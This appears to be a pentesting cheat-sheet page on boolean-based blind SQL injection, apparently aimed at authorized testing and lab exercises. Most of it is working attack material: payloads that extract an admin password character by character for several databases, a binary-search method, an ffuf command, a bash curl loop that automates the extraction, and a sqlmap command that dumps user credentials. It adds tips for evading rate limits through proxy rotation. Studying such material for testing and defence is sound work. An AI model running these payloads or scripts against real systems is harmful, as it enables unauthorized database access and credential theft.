Skip to content

Boolean-based Blind SQLi

The application doesn’t show query output, but its response changes based on whether an injected condition is true or false. Extract data one bit (or character) at a time by binary-searching the value space.

-- Build a payload that is TRUE only if the Nth char of <data> is <c>
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'-- -
-- Iterate position 1..L, try chars a-z, A-Z, 0-9, special until response matches "true"

When the response under “true” differs from “false” (different content, length, status code), you can extract any data the DB can SELECT.

SymptomClass
Errors visibleUse UNION-based or error-based
Response identical, only timing differsUse Time-based
Response differs on logically true vs. false conditionThis page
No response feedback at allUse Out-of-band

The “true” and “false” responses don’t need to be dramatically different - even a single byte difference (a “Welcome back” string, a different image, a status code change) is enough.

Find a payload pair that produces visibly different responses:

1' AND 1=1-- - → "normal" response
1' AND 1=2-- - → "different" response

Note exactly what differs. Common oracles:

  • Response body length
  • Presence of a specific string (Welcome, Found, etc.)
  • HTTP status code
  • Number of rows returned

This is your boolean oracle. Every subsequent payload reduces to “does this return like 1=1 or like 1=2?”.

Knowing the length saves time:

-- Is the password longer than 20 chars?
' AND LENGTH((SELECT password FROM users WHERE username='admin')) > 20-- -
-- Binary-search the length
' AND LENGTH((SELECT password FROM users WHERE username='admin')) = 32-- -

For PostgreSQL/Oracle use LENGTH(). For MSSQL use LEN().

Step 3 - Character-by-character extraction

Section titled “Step 3 - Character-by-character extraction”
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'-- -

Iterate position (1 to L) and character (a-z, A-Z, 0-9, special) until the response matches “true”.

Step 4 - Use comparison instead of equality

Section titled “Step 4 - Use comparison instead of equality”

Equality requires up to ~94 requests per character (printable ASCII). Comparison (<, >) lets you binary-search in ~7 requests per character:

-- Is the first char's ASCII code > 109 (i.e. > 'm')?
' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)) > 109-- -

Algorithm:

  1. Set lo=32, hi=126.
  2. Pick mid = (lo+hi)/2.
  3. Test > mid. If true: lo = mid+1. If false: hi = mid.
  4. Repeat until lo == hi. That’s the character.

Reduces ~94 requests to ~7 per character. Use this for any extraction over a few characters long.

Force binary comparison:

' AND BINARY SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='A'-- -

Or use STRCMP():

' AND STRCMP(BINARY SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1),'A')=0-- -

For PostgreSQL and Oracle, comparisons are case-sensitive by default - no special handling needed.

Set up a wordlist with one character per line, then have ffuf substitute and filter on response size:

Terminal window
# Create wordlist
echo {a..z} {A..Z} {0..9} | tr ' ' '\n' > chars.txt
# Per-position fuzz
ffuf -w chars.txt:CHAR \
-u "https://<TARGET>/page?id=1" \
-H "Cookie: TrackingId=xyz' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='CHAR'-- -" \
-fs <SIZE_OF_FALSE_RESPONSE>

Replace 1 with the position, increment for each extracted character. Wrap in a shell loop.

Compact bash loop for full extraction:

Terminal window
target="https://<TARGET>/page?id=1"
cookie_template="TrackingId=xyz' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),POS,1)='CHAR'-- -"
extracted=""
for pos in {1..32}; do
for c in {a..z} {A..Z} {0..9}; do
cookie="${cookie_template/POS/$pos}"
cookie="${cookie/CHAR/$c}"
response=$(curl -s -o /dev/null -w "%{size_download}" -H "Cookie: $cookie" "$target")
if [ "$response" != "<FALSE_SIZE>" ]; then
extracted="${extracted}${c}"
echo "Position $pos: $c (so far: $extracted)"
break
fi
done
done

For most blind cases, sqlmap is faster than rolling your own:

Terminal window
sqlmap -u "https://<TARGET>/page?id=1" \
--cookie="TrackingId=xyz*" \
--technique=B \
--dbms=mysql \
--dump -T users -C username,password

The * marks the injection point. --technique=B restricts to boolean-blind. Use -r request.txt to feed a saved request from Burp for complex auth/headers.

-- "Welcome back" appears only on TRUE
TrackingId=xyz' AND SUBSTRING((SELECT password FROM users WHERE username='administrator'),1,1)='a'-- -
-- Same query, with subquery returning value to compare
TrackingId=xyz' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a'-- -
-- PostgreSQL with || concat
TrackingId=xyz' || (SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN '' ELSE pg_sleep(0) END FROM users WHERE username='administrator')-- -
-- Oracle with FROM dual
TrackingId=xyz' || (SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN '' ELSE 'x' END FROM users WHERE username='administrator')-- -
  • Response size varies for non-injection reasons (e.g., timestamps, CSRF tokens) - pick a more stable oracle: HTTP status, presence of a specific string, or a content match.
  • Rate limit kicks in - slow the extraction with --delay (sqlmap) or sleep in the loop. Some targets ban after N requests; rotate through proxies or accept slower extraction.
  • The query returns no row (e.g., username doesn’t exist) - the entire WHERE clause becomes false regardless of the inner condition. Confirm the target user exists with SELECT count(*).
  • Quoting breaks the payload - try alternate quoting: 0x61 instead of 'a' (MySQL hex literal), CHR(97) (Oracle/PostgreSQL), CHAR(97) (MSSQL).
  • Always test the oracle works before automating - wasting an hour discovering your “true” and “false” responses are identical is no fun.
  • Logging the request/response of the first successful character extraction is good evidence for the report.
  • Hashed passwords are always limited charsets. If you know it’s MD5/SHA-1, restrict your wordlist to 0-9a-f. This is a 16-char alphabet vs. 94 - significant speedup even with binary search.